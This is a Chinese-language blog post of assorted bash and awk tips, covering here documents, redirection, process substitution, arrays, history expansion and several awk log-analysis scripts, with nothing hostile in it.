＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
注释大段shell脚本的方法：<br />
:||:&lt;&lt;\{{<br />
...<br />
{{<br />
这里对here document也多少作些讨论:该文档其实是个临时文档,被生成到/tmp目录下,你用命令bash -c 'lsof -a -p $$ -d0' &lt;&lt;EOF<br />
EOF就可以很清楚的看到这一点;该临时文档为交互式shell脚本或者可执行程序提供输入,最典型的是为cat和ed这样的命令feed输入;最典型的应用是在shell中通过cat&lt;&lt;来大段输出文本, 还有一些比较巧妙的用法,比如为脚本中的函数塞入数据(注意不是为函数塞入参数, 而是当函数中有类似于read这样的命令时通过here文档来feed给它), 在比如为变量赋值variable=$(cat &lt;&lt;SETVAR<br />
This variable<br />
runs over multiple lines.<br />
SETVAR) <br />
再比如<br />
vi $TARGETFILE &lt;&lt;\EOF<br />
i<br />
This is line 1 of the example file.<br />
This is line 2 of the example file.<br />
^[<br />
ZZ<br />
EOF<br />
here document自身所特有的几点包括:<br />
1.用&lt;&lt;-代替&lt;&lt;可以使内容中的leading tabs被忽略，对leading spaces无效<br />
2.用&#8217;HERE&#8217;, &#8220;HERE&#8221;, \HERE代替&lt;&lt;后面的HERE，可以使内容中变量不被替换,诸如$HOME<br />
3.如果只希望输入一行数据,可以用&lt;&lt;&lt;即可,例如cat &lt;&lt;&lt;'hello world' (说到这里, 还真觉得蛮有意思的,一个&lt;表示0号标准输入; 两个&lt;&lt;表示here document的临时性输入;三个&lt;&lt;&lt;表示单行的here document输入)<br />
更多详细例子,可以参考:http://tldp.org/LDP/abs/html/here-docs.html<br />
===============<br />
对于cat这种可以接受标准输出或者标准输入流的程序来说, 可以通过一个-来承载送过来的流, 大致可分为通过管道|过来的标准输出流和通过&lt;送进来的标准输入流, 通过这样一个例子就可以看出ls | cat - t.C - - &nbsp; &lt; t.sh &nbsp;&nbsp; &lt;&lt;&lt;'single here document'&nbsp;&nbsp; &lt;&lt;{{<br />
multiple<br />
here<br />
document<br />
{{<br />
结果只是&lt;&lt;发挥作用了, 它们的优先级别是: &lt;&lt;最高, &lt;&lt;&lt;次之, &lt; 排第三, | 排第四<br />
这样就可以利用该特性为某t.C这样的文档添加页眉和页脚了:<br />
页眉: cat - t.C &lt;&lt;&lt;'header'<br />
页脚: cat t.C - &lt;&lt;&lt;'footer'<br />
=======================================<br />
在脚本中，对于那些脚本依赖的变量，如果没定义的话就不希望继续执行脚本，那么可以使用：<br />
set -u<br />
使用了那些你关注的变量的代码段<br />
set +u<br />
这样就可以保证脚本在执行过程中没有发现这些变量时就自动报错退出<br />
==========================================<br />
按照字符串的长度进行排序:<br />
#! /bin/sh<br />
awk 'BEGIN { FS=RS } { print length, $0}' $1 |<br />
sort -k 1n,1 |<br />
sed 's/^[0-9][0-9]* //' | tee $1 &gt;/de<br />
==========================================<br />
有关shell脚本的第一行，这一行可不是随便写的，是有讲究的，首先要从这一行中提取出的是一个可执行程序的全路径，比需要全路径，在#!后面可以跟空格；其次，会为这个命令要么附加一个选项，要么附加一个参数，记住，有且只能有一个，而且是option和arg二选一，如果有多个参数，其实可以合并，举个例子，比如ls，可以把-a和-f合并为-af，因此在这条规则下：#!/usr/bin/env sed -f就不能work了，因为sed本身就已经是env的一个arg了，其实在这种情况下，系统会认为'sed -f'整体为一个arg，系统判断你指定的究竟是一个arg还是一个option的依据就是：是否以-开头。<br />
=============================================<br />
cd ~1 与cd ~-1代表cd到dirs命令列表中左数/右数第1个目录(从0开始计数); 注意这种用法并不会与pushd冲突, 因为pushd会对dirs列表进行rotate(一定要好好理解这个单词的含义, 它相当于把dirs的结果看作是一个round robin的环状结构, pushd要更改的就是从这个环上的哪个地方找到队首,然后顺时针就可以找到其他的元素了)操作, 举个例子: 假如dirs的结果为: ~&nbsp;&nbsp;&nbsp; /usr&nbsp;&nbsp;&nbsp;&nbsp; /etc&nbsp;&nbsp;&nbsp; /tmp四个目录,那么cd ~1后的结果是/usr /usr /etc /tmp; cd ~-1的结果是/etc /usr /etc /tmp; pushd +1的结果为: /usr /etc /tmp ~; pushd -1的结果为: /etc /tmp ~ /usr<br />
=============================================<br />
查看bash内建命令的help内容，可以用help ulimit，不过这样得到的信息不全面，全面的信息可以在man builtins里面找到；<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
echo -e 'a\tb'和echo $'a\tb'的结果一样，$'string'形式的字符串会被特殊处理，字符串会被展开，并像c语言那样将反斜杠及紧跟的字符进行替换，扩展后的结果将被单引号包裹，就好像美元符号一直就不存在一样，例如$'\n' &lt;=&gt; $'\012' &lt;=&gt; $'\x0a' &lt;=&gt; $'\x0A'；$"string"将会使得字符串被翻译成符合当前locale的语言，如果当前locale是 C 或者 POSIX，美元符号会被忽略，如果字符串被翻译并替换，替换后的字符串仍被双引号包裹。<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
command &gt; out.log 2&gt;&amp;1&nbsp; 可以被command &amp;&gt; out.log代替，二者意义一样，注意&amp;和&gt;之间不能有空格，否则&amp;就会被认为是要把命令放到后台执行，有关bash一些新增的用法可以参见：http://zh.wikipedia.org/wiki/Bash<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
grep -e a -e b file能够匹配到file中的行内含有a或者b的行<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
chvt可以替代Ctrl+Alt+Fn功能键；openvt可以在开满了6个tty之后再新开tty<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
在man或者less搜索的时候，用-i来切换大小写是否敏感（当最左下角显示为:时进行）<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
export -f可以export函数；unset -f/export -f -n可以取消函数定义；declare -f可以看到当前bash里面所有的函数<br />
==========================================================<br />
函数中可以再定义函数，但却不是嵌在函数里面的子函数，外部依然可以随意调用该函数，也就是说和放在外面一样，只不过看上去能感觉到：这个定义在函数A里面的函数B，应该是专注于为函数A服务的。<br />
==========================================================<br />
在bash里fork子shell<br />
#!/bin/bash<br />
if [ "$PROC_PID" != "$PPID" ]; then<br />
&nbsp;&nbsp;&nbsp; export PROC_PID=$$<br />
&nbsp;&nbsp;&nbsp; var="mype"<br />
&nbsp;&nbsp;&nbsp; echo "initial $var"<br />
&nbsp;&nbsp;&nbsp; declare -r var<br />
&nbsp;&nbsp;&nbsp; export var<br />
&nbsp;&nbsp;&nbsp; $0 &amp; # child process <br />
else<br />
&nbsp;&nbsp;&nbsp; echo "before $var"<br />
&nbsp;&nbsp;&nbsp; var="netty5"<br />
&nbsp;&nbsp;&nbsp; echo "after $var"<br />
fi<br />
=================================================================================================<br />
在脚本中$@代表当前shell脚本执行时的所有参数或者代表传递到当前函数内部的所有参数，通过shift命令，可以改变$@的内容，但是$0始终代表当前进程的命令名字，而不是函数名字<br />
=================================================================================================<br />
getopts函数(bash builtin)的功能还是很弱的，比如要解析pq:，那么必须得这么写命令才行：&lt;your_command&gt; -p -q test arg1 arg2 ...；参数之间不能断开，而且还得必须紧跟在command的后面，当然，getopts是解析$@，如果你用shift处理后的$@能满足$1开始就是option，那么也行。<br />
======================================================<br />
在linux下作各种进制的转化，有两种方法比较好用：<br />
printf "%x\n" 2342&nbsp; #该方法和c语言中的printf没什么区别<br />
echo&nbsp; 'obase=16; 2342' | bc&nbsp; #该方法很强大, 可以转化为任意进制, 比如printf不能做到的2进制转化<br />
============================================================<br />
echo $content | while read line; <br />
do<br />
...<br />
done<br />
上面这段代码有3个问题：<br />
1. echo时应该给$content添加双引号,否则content中的空格换行tab之类的东西就都丢了;<br />
2. 用管道会导致while是在一个新的子shell里, 导致在while中用的变量其实是新定义的, 而不是context中的;<br />
3. read会忽略前导空格, 因为read会使用IFS的第一个字符作为分割符号, 把当前line分割为若干个word, 你用read word1 word2 word3会读取到各个单词, 默认IFS的第一个字符是空格, 因此假定当前line为'&nbsp; a'的话, 那么会被切割为3部分(因为有2个空格), 最后组装的时候,&nbsp; 会忽略掉空单词, 因此最后就只剩下a了.<br />
<br />
正确的做法是:<br />
IFS=<br />
while read line;<br />
do<br />
...<br />
done &lt; &lt;(echo "$content")<br />
这里提一下&lt;()和&gt;()的用法, 这两个东西都是命名管道(但这里是没有名字的, 实则它们是借助于某一个fd来完成的), 相当于你先mkfifo了一个命令管道xxx, 然后你echo "$content" &gt; xxx, 同时你的read函数已经在xxx的另一端候着了while read line; do ... done &lt; xxx. 用&lt;()和&gt;()省略了建立xxx的过程.<br />
==============================================================================<br />
tr 'a-z' 'A-Z' &lt; t1.txt &gt; t1.txt像这种语句，都会把t1.txt清空，其实是bash在这里做了手脚，我们都知道在bash中ls *时，其实bash会先把*扩展为当前所有的文件，然后再让ls去显示，这里也差不多，bash发现&gt;时，会先把该文件清空，然后再交给tr去处理，所以tr啥都不用做就完成了，而此时t1.txt就变成空文件了，要想避免这种情况发生，可以tr 'a-z' 'A-Z' &lt; t1.txt &gt;&gt; t1.txt，但这样会保留t1.txt之前的内容，现在借助于&lt;&gt;，搞出个简单的方法：tr 'a-z' 'A-Z' &lt; t1.txt 1&lt;&gt; t1.txt，这里1&lt;&gt;代表通过fd为1的文件进行read and write，这样就绕过了bash的提前解析，因此t1.txt中的内容也被成功替换掉了。但要注意的是，同时从一个文件既读取又写入，而且是以管道这种流的形式来搞（正因为是流的形式［读一点写一点］，所以就不会全部读到内存中，然后再处理，再把处理后的结果从内存中dump到输出文件），所以这种只对那种本位替换有效果，例如tr或者sed这种，其实说到这里，主要是为了引出&lt;&gt;这个符号的用法，并让大家知道bash会先把&gt;给解析了，其他的都不重要。<br />
strace是个太好太好的命令，例如strace sed -i 's/a/A/g' t1.cpp即可看到sed是使用了临时文件进行替换的。<br />================================================<br /><div>#!/bin/bash<br /><br />mput() {<br />&nbsp;&nbsp;&nbsp; eval "__map_$1"__"$2"='$3'<br />}<br /><br />mget() {<br />&nbsp;&nbsp;&nbsp; eval echo '${__map_'"$1__$2"'}'<br />}<br /><br />mgetall() {<br />&nbsp;&nbsp;&nbsp; for i in $(eval echo '${!__map_'"$1"'__*}'); do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo -n "${i#__map_$1__*}:"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eval echo '${'"$i"'}';<br />&nbsp;&nbsp;&nbsp; done<br />}<br /><br />mput capitals France Paris<br />mput capitals Spain Madrid<br /><br />echo "$(mget capitals France)"<br />mgetall capitals<br />=================================================<br />func () {<br />&nbsp;&nbsp;&nbsp; local unset_x=false<br />&nbsp;&nbsp;&nbsp; [[ "$(echo $-)" =~ x ]] || unset_x=true<br />&nbsp;&nbsp;&nbsp; [ "false" == "$unset_x" ] &amp;&amp; set +x<br />&nbsp;&nbsp;&nbsp; #procedure here<br />&nbsp;&nbsp;&nbsp; [ "false" == "$unset_x" ] &amp;&amp; set -x<br />}<br />=================================================<br />ulimit -c unlimited<br />export PS4='+{$LINENO($(date +"%F %T")):${FUNCNAME[0]}} '<br />exec 1&gt;${0%.*}.log<br />exec 2&gt;${0%.*}.err<br />mkdir -p .tmp<br />export TMPDIR=.tmp<br />set -x<br />====================================================<br />__created_tmp_files__=""<br />delete_tmp_files() {<br />&nbsp;&nbsp;&nbsp; if [ -n "$__created_tmp_files__" ]; then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm -f $__created_tmp_files__<br />&nbsp;&nbsp;&nbsp; fi<br />}<br /><br />trap delete_tmp_files EXIT<br /><br />create_tmp_file() {<br />&nbsp;&nbsp;&nbsp; local unset_x=false<br />&nbsp;&nbsp;&nbsp; [[ "$(echo $-)" =~ x ]] || unset_x=true<br />&nbsp;&nbsp;&nbsp; [ "false" == "$unset_x" ] &amp;&amp; set +x<br />&nbsp;&nbsp;&nbsp; if [ -z "$(eval "echo $"$1)" ]; then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eval "$1=.tmp/.__${0##*/}_${LINENO}_$1_${RANDOM}__.tmp"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm -f $(eval "echo $"$1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __created_tmp_files__="$__created_tmp_files__ $(eval "echo $"$1)"<br />&nbsp;&nbsp;&nbsp; fi<br />&nbsp;&nbsp;&nbsp; [ "false" == "$unset_x" ] &amp;&amp; set -x<br />}<br />===================================================<br /><div>awk '</div><div>{</div><div>&nbsp; &nbsp; if (NF&gt;5 || ("noresource" != $NF &amp;&amp; "zero" != $NF &amp;&amp; "part" != $NF &amp;&amp; "all" != $NF)) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; print $0 &gt; "/dev/stderr"</div><div>&nbsp; &nbsp; } else if ($4 ~ /^http/) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; print $1, (4==$2 ? "y" : "n"), $4, ($5=="all" ? "y" : "n")</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; print $1, (4==$2 ? "y" : "n"), "none", ($4=="all" ? "y" : "n")</div><div>&nbsp; &nbsp; }</div><div>}' $2 | awk '</div><div>BEGIN {</div><div>&nbsp; &nbsp; pv=0;</div><div>}</div><div>{</div><div>&nbsp; &nbsp; if (FILENAME==ARGV[1]) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sitepv[$1]=++pv;</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; r[sitepv[$1]]=$0;</div><div>&nbsp; &nbsp; }</div><div>}</div><div>END {</div><div>&nbsp; &nbsp; for (i in r) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; print i, r[i];</div><div>&nbsp; &nbsp; }</div><div>}' $1 - | sort -n -k 1 | awk '</div><div>{</div><div>&nbsp; &nbsp; for (i=2; i&lt;NF; ++i) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf "%s ", $i</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; printf "%s\n", $NF</div><div>}'</div><div>==========================================<br /><div>awk -v max_qps=$max_qps -v max_qps_time="$max_qps_time" -v bad_request_num=$bad_request_num '</div><div>BEGIN {</div><div>&nbsp; &nbsp; total_request_num=0;</div><div>&nbsp; &nbsp; total_sum=0;</div><div>&nbsp; &nbsp; max_value=0;</div><div>&nbsp; &nbsp; max_value_time=0;</div><div>&nbsp; &nbsp; min_value=0;</div><div>&nbsp; &nbsp; min_value_time=0;</div><div>&nbsp; &nbsp; cur_value=0;</div><div>&nbsp; &nbsp; level8_threshold=(0 != l8 ? l8 : 3000);</div><div>&nbsp; &nbsp; level7_threshold=(0 != l7 ? l7 : 1500);</div><div>&nbsp; &nbsp; level6_threshold=(0 != l6 ? l6 : 1000);</div><div>&nbsp; &nbsp; level5_threshold=(0 != l5 ? l5 : 500);</div><div>&nbsp; &nbsp; level4_threshold=(0 != l4 ? l4 : 200);</div><div>&nbsp; &nbsp; level3_threshold=(0 != l3 ? l3 : 100);</div><div>&nbsp; &nbsp; level2_threshold=(0 != l2 ? l2 : 50);</div><div>&nbsp; &nbsp; level1_threshold=(0 != l1 ? l1 : 30);</div><div>&nbsp; &nbsp; gt_level8_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level7_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level6_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level5_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level4_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level3_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level2_threshold_num=0;</div><div>&nbsp; &nbsp; gt_level1_threshold_num=0;</div><div>&nbsp; &nbsp; le_level1_threshold_num=0;</div><div>}</div><div>1 == NR {</div><div>&nbsp; &nbsp; cur_value=int(substr($14,4));</div><div></div><div>&nbsp; &nbsp; max_value=min_value=cur_value;</div><div>&nbsp; &nbsp; max_value_time=min_value_time=int(substr($1,4));</div><div></div><div>&nbsp; &nbsp; ++total_request_num;</div><div>&nbsp; &nbsp; total_sum += cur_value;</div><div></div><div>&nbsp; &nbsp; next;</div><div>}</div><div>{</div><div>&nbsp; &nbsp; cur_value=int(substr($14,4));</div><div></div><div>&nbsp; &nbsp; if (cur_value &gt; max_value) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; max_value=cur_value;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; max_value_time=int(substr($1,4));</div><div>&nbsp; &nbsp; } else if (cur_value &lt; min_value) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; min_value=cur_value;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; min_value_time=int(substr($1,4));</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; if (cur_value &gt; level8_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level8_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level7_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level7_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level6_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level6_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level5_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level5_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level4_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level4_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level3_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level3_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level2_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level2_threshold_num;</div><div>&nbsp; &nbsp; } else if (cur_value &gt; level1_threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++gt_level1_threshold_num;</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++le_level1_threshold_num;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; ++total_request_num;</div><div>&nbsp; &nbsp; total_sum += cur_value;</div><div>}</div><div>END {</div><div>&nbsp; &nbsp; gt_level7_threshold_num += gt_level8_threshold_num;</div><div>&nbsp; &nbsp; gt_level6_threshold_num += gt_level7_threshold_num;</div><div>&nbsp; &nbsp; gt_level5_threshold_num += gt_level6_threshold_num;</div><div>&nbsp; &nbsp; gt_level4_threshold_num += gt_level5_threshold_num;</div><div>&nbsp; &nbsp; gt_level3_threshold_num += gt_level4_threshold_num;</div><div>&nbsp; &nbsp; gt_level2_threshold_num += gt_level3_threshold_num;</div><div>&nbsp; &nbsp; gt_level1_threshold_num += gt_level2_threshold_num;</div><div></div><div>&nbsp; &nbsp; print total_request_num;</div><div>&nbsp; &nbsp; printf "%d(%.2f%%)\n", bad_request_num, bad_request_num * 100 / total_request_num;</div><div>&nbsp; &nbsp; printf "%d(occur at: %s)\n", max_qps, max_qps_time;</div><div>&nbsp; &nbsp; cmd="date -d @"max_value_time" +\"%F %T\""; cmd | getline max_value_time_str; close(cmd);</div><div>&nbsp; &nbsp; printf "%d ms(occur at: %s)\n", max_value, max_value_time_str;</div><div># &nbsp; printf "%d ms(occur at: %s)\n", min_value, strftime("%F %T", min_value_time);</div><div>&nbsp; &nbsp; printf "%.2f ms\n", total_sum / total_request_num;</div><div>&nbsp; &nbsp; print gt_level8_threshold_num;</div><div>&nbsp; &nbsp; print gt_level7_threshold_num;</div><div>&nbsp; &nbsp; print gt_level6_threshold_num;</div><div>&nbsp; &nbsp; print gt_level5_threshold_num;</div><div>&nbsp; &nbsp; print gt_level4_threshold_num;</div><div>&nbsp; &nbsp; print gt_level3_threshold_num;</div><div>&nbsp; &nbsp; print gt_level2_threshold_num;</div><div>&nbsp; &nbsp; print gt_level1_threshold_num;</div><div>&nbsp; &nbsp; print le_level1_threshold_num;</div><div>}' $tmp_analyse_file<br />=================================================================<br /><div>awk -v threshold=1000 -v debug=n '</div><div>BEGIN {</div><div>}</div><div>{</div><div>&nbsp; &nbsp; if (FILENAME==ARGV[1]) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; checked_css[$1]="y";</div><div>&nbsp; &nbsp; } else if ("y" != checked_css[$1]) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (n[$1] &lt; threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; css[$1, n[$1]++] = $2;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k = int((rand() * threshold) % threshold);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if("y"==debug)print "[DEBUG]over threshold:", $1, "k=", k, "old item:", css[$1, k], "new item:", $2 &gt; "/dev/stderr";</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; css[$1, k] = $2;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if("y"==debug)print "[DEBUG]existed css:",$1 &gt; "/dev/stderr";</div><div>&nbsp; &nbsp; }</div><div>}</div><div>END {</div><div>&nbsp; &nbsp; for (i in n) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (n[i] &gt;= threshold) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf "%s\t", i;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (j=0; j&lt; threshold; ++j) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf "%s ", css[i, j];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf "\n";</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div>}' css_ok.txt -</div><div>========================================================================<br /><div>awk 'BEGIN {</div><div>&nbsp; &nbsp; OFS=",";</div><div>&nbsp; &nbsp; array[1,2]=3; array[2,3]=5; array[3,4]=8;&nbsp;</div><div>&nbsp; &nbsp; for (comb in array) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; split(comb,sep,SUBSEP);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; print sep[1], sep[2], array[sep[1],sep[2]];</div><div>&nbsp; &nbsp; }</div><div>}'<br />========================================================================<br /><div>$ awk 'BEGIN{a["one"]=1;a["two"]=2;a["three"]; if("one2" in a)print a["one"]; for(i in a) print i, a[i]}'</div><div>three&nbsp;</div><div>one 1</div><div>two 2</div><div>=========================================================================<br /><div>$ awk 'BEGIN{a=3;b=4; print a,b; print a, b; print a b;print a &nbsp;b;}'</div><div>3 4</div><div>3 4</div><div>34</div><div>34</div><div>==========================================================================<br /><div>$ awk -F$'\t' 'BEGIN{OFS="\t"}{if($3 ~ /ECSHOP/)print $1,$2;}' t3.4 #否则会用空格来分隔fields，print $0不受OFS的影响<br />==========================================================================<br /><div>bash里面的大小写转换：</div><div>$ a="abCdEF"</div><div>$ echo ${a^} #process the first character</div><div>AbCdEF</div><div>$ echo ${a^^} #process all characters</div><div>ABCDEF</div><div>$ echo ${a,} #process the first character</div><div>abCdEF</div><div>$ echo ${a,,} #process all characters</div><div>abcdef</div><div></div><div>bash里的substr：</div><div>$ a="abCdEF"</div><div>$ echo ${a:1}</div><div>bCdEF</div><div>$ echo ${a:2:1}</div><div>C</div><div></div><div>bash里的数组操作：</div><div>a=() #empty array</div><div>a=(one two three) #three elements in array, with subscripts: 0 1 2</div><div>${#a[*]} #length of array</div><div>${a[*]} #all elements of array</div><div>${!a[*]} #all subscripts of array<br />${a[*]:2:1} #extract elements, offset index is 2, and length is 1<br />${a[*]:2} #extract elements, offset index is 2, and length is big enough to fetch all residue elements<br />${a[*]: -1} #extract last element, note that the space between : and -, by the way, ${@:3:2} will extract $3 and $4</div><div>unset a[0] #destory the element with 0 subscript</div><div>unset a[*] #destory array</div><div></div><div>bash里的associated数组（即map）：</div><div>这个特性需要bash的版本&gt;=4</div><div>declare -A a</div><div>$ a[one]=1</div><div>$ a["two"]=2</div><div>$ a[3]=three</div><div>$ echo ${!a[*]}</div><div>one two 3</div><div></div><div>bash里数组元素是否存在的检测方法：</div><div>$ ${a[two]+:} false &amp;&amp; echo ok || echo fail #${var+XX} will be XX if var is set, or empty; so ${a[two]+:} false will be ': false'</div><div>ok</div><div>$ [[ ${a[two]+set} ]] &amp;&amp; echo ok || echo fail #${a[two]+set} will be 'set', so [[ set ]] is true;</div><div>ok</div><div>$ ${a[2]+:} false &amp;&amp; echo ok || echo fail #${a[2]+:} false will be ' false'</div><div>fail</div><div>更多详情可参见：http://mywiki.wooledge.org/BashFAQ/083</div><div></div><div>bash里的复合命令(Compound Commands):</div><div>(( expression ))用于检测数值运算(ARITHMETIC EVALUATION)，例如</div><div>$ (( 3+3 )) &amp;&amp; echo ok || echo fail</div><div>ok</div><div>$ (( 3-3 )) &amp;&amp; echo ok || echo fail</div><div>fail</div><div>也包括数值类的比较运算符:&lt; &gt; &gt;= !=等</div><div>[[ expression ]]用于检测字符串相关的表达式，例如 [[ hello ]], [[ -f test.dat ]], 也可用于带BashPattern的匹配，例如[[ abc == ab* ]]，或者正则字符串匹配[[ abc =~ ^ab ]]</div><div>[ expression ]不属于bash，因为[其实是一个外部命令，和ls一样</div><div></div><div>bash里忽略大小写的字符串比较：</div><div>$ shopt -s nocasematch</div><div>$ [[ aBc == abc ]] &amp;&amp; echo ok || echo fail</div><div>ok</div><div>set -o会列出控制bash的所有选项，其实还有一些其他的选项需要通过shopt来控制，shopt会列出全部的选项<br />===========================================================<br />a2=99<br />a1=88<br />b=a2<br />echo ${!a*} #list all shell variables that start with a<br />a1 a2<br />echo ${!b} #this express is equal to: eval 'echo $'$b<br />99<br />================================================================<br />!net #从历史命令里搜索以net开头的最近使用的一条命令<br /><div>!?net #从历史命令里搜索包含net的最近使用的一条命令<br />!:0 #上一条命令的command（类似于argv[0]）</div><div>!:^ #上一条命令的第一个参数</div><div>!:$ #上一条命令的最后一个参数（效果等同于Alt+. ，不过Alt+.按n次，是会到倒数第n条命令里取得最后一个参数的）</div><div>!:* #上一条命令的所有参数（效果等同于 !:^-$）</div><div>!:2-4 #上一条命令的第2个到第4个参数</div><div>!:2* #上一条命令从第2个参数开始（包括第2个参数）以后的参数（效果等同于!:2-$）</div><div>!:2- #上一条命令从第2个参数开始（包括第2个参数）到 倒数第2个参数，即省略掉最后一个参数</div><div>^ll^md5sum #从上一条里把第一次出现的ll替换为md5sum后重新执行</div><div>!!:gs/ll/md5sum #从上一条命令里把所有出现的ll都替换为md5sum（这里的语法类似于sed，/也可以用其他符号例如@来代替，g表示多次匹配）</div>!! #重新执行上一条命令（效果等同于Ctrl-p）<br /><div></div></div></div></div></div></div></div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/282493.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2009-06-16 00:37 <a href="http://www.blogjava.net/bacoo/archive/2009/06/16/282493.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>